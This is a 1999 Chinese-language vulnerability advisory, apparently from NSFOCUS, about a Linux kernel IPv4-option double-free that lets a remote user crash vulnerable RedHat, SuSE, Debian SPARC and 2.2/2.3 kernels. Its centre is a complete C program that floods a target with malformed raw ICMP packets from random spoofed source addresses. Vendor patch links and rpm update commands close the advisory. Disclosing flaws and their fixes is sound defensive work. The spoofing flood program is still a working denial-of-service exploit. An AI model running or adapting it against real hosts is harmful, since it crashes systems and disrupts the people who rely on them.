安全研究
安全漏洞
Linux IP 可选项漏洞
发布日期：1999-06-01
更新日期：1999-06-17
受影响系统：
Debian Linux 2.1描述：
Linux kernel 2.3
Linux kernel 2.2
RedHat Linux 6.0
S.u.S.E. Linux 6.1
Linux内核中的IPv4选项允许一个远程用户使系统崩溃。
当接收到一个带有错误格式的IP可选项的IP包时，系统将发送一个ICMP参数错误信息，这时内核错误得将socket缓冲区释放了。这将导致该缓冲区被释放两次，这将使系统崩溃。
在Debian Linux 2.1支持的硬件架构中，只有带SPARC处理器的才是有弱点的。
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
struct icmp_hdr
{
struct iphdr iph;
struct icmp icp;
char text[1002];
} icmph;
int in_cksum(int *ptr, int nbytes)
{
long sum;
u_short oddbyte, answer;
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
struct sockaddr_in sock_open(char *address, int socket, int prt)
{
struct hostent *host;
if ((host = gethostbyname(address)) == NULL)
{
perror("Unable to get host name");
exit(-1);
}
struct sockaddr_in sin;
bzero((char *)&sin, sizeof(sin));
sin.sin_family = PF_INET;
sin.sin_port = htons(prt);
bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
return(sin);
}
void main(int argc, char **argv)
{
int sock, i, ctr, k;
int on = 1;
struct sockaddr_in addrs;
if (argc < 3)
{
printf("Usage: %s <ip_addr> <port>\n", argv[0]);
exit(-1);
}
for (i = 0; i < 1002; i++)
{
icmph.text[i] = random() % 255;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("Can't set IP_HDRINCL option on socket");
}
if (sock < 0)
{
exit(-1);
}
fflush(stdout);
for (ctr = 0;ctr < 1001;ctr++)
{
ctr = ctr % 1000;
addrs = sock_open(argv[1], sock, atoi(argv[2]));
icmph.iph.version = 4;
icmph.iph.ihl = 6;
icmph.iph.tot_len = 1024;
icmph.iph.id = htons(0x001);
icmph.iph.ttl = 255;
icmph.iph.protocol = IPPROTO_ICMP;
icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
((random() % 255) * 65535) +
((random() % 255) * 255) +
(random() % 255);
icmph.iph.daddr = addrs.sin_addr.s_addr;
icmph.iph.frag_off = htons(0);
icmph.icp.icmp_type = random() % 14;
icmph.icp.icmp_code = random() % 10;
icmph.icp.icmp_cksum = 0;
icmph.icp.icmp_id = 2650;
icmph.icp.icmp_seq = random() % 255;
icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs,sizeof(struct sockaddr)) == -1)
{
if (errno != ENOBUFS) printf("X");
}
if (ctr == 0) printf("b00m ");
fflush(stdout);
}
close(sock);
}
建议：
这个弱点已经在Linux kernel 2.3.5中修复。
各Linux系统的补丁包：
Caldera:
----------------------------------------------------------------------------------
Caldera has made the following fixed RPM available:
ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.2/current/RPMS/linux-kernel-binary-2.2.5-2.i386.rpm
Debian has made the following fixed kernel available for Debian Linux 2.1 under the SPARC archicture:
http://security.debian.org/dists/stable/updates/binary-sparc/kernel-headers-2.2.9_2.2.9-2_sparc.deb
MD5 checksum: 2d8724b357c1444741f2fdd626e38615
http://security.debian.org/dists/stable/updates/binary-sparc/kernel-image-2.2.9-sun4u_2.2.9-2_sparc.deb
MD5 checksum: bbff1631f05124fed467d833276f8d68
http://security.debian.org/dists/stable/updates/binary-sparc/kernel-image-2.2.9_2.2.9-2_sparc.deb
MD5 checksum: 7c9e15ae2c7de1d84928660b964906ad
----------------------------------------------------------------------------------
RedHat:
----------------------------------------------------------------------------------
RedHat has made the following fixed RPMs available for RedHat Linux 6.0:
Intel
-----
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i386.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i586.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-smp-2.2.5-22.i586.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i686.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-smp-2.2.5-22.i686.rpm
Alpha
-----
rpm -ivh ftp://updates.redhat.com/6.0/alpha/kernel-2.2.5-22.alpha.rpm
rpm -ivh ftp://updates.redhat.com/6.0/alpha/kernel-smp-2.2.5-22.alpha.rpm
SPARC/UltraSPARC
----------------
Note: These packages obsolete the earlier kernel-2.2.5-21 release
for SPARC. The problems fixed by the 2.2.5-21 release are also
fixed in 2.2.5-22.
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-2.2.5-22.sparc.rpm
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-smp-2.2.5-22.sparc.rpm
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-2.2.5-22.sparc64.rpm
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-smp-2.2.5-22.sparc64.rpm
Source RPM
----------
rpm -Uvh ftp://updates.redhat.com/6.0/SRPMS/kernel-2.2.5-22.src.rpm
----------------------------------------------------------------------------------
SuSe:
----------------------------------------------------------------------------------
SuSe has made the following fixed available:
ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/kernel/linux-2.2.7.SuSE.tgz
ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/suse61/d1/lx_suse-2.2.7.SuSE-3.i386.rpm
----------------------------------------------------------------------------------
浏览次数：9785
严重程度：0（网友投票）
绿盟科技给您安全的保障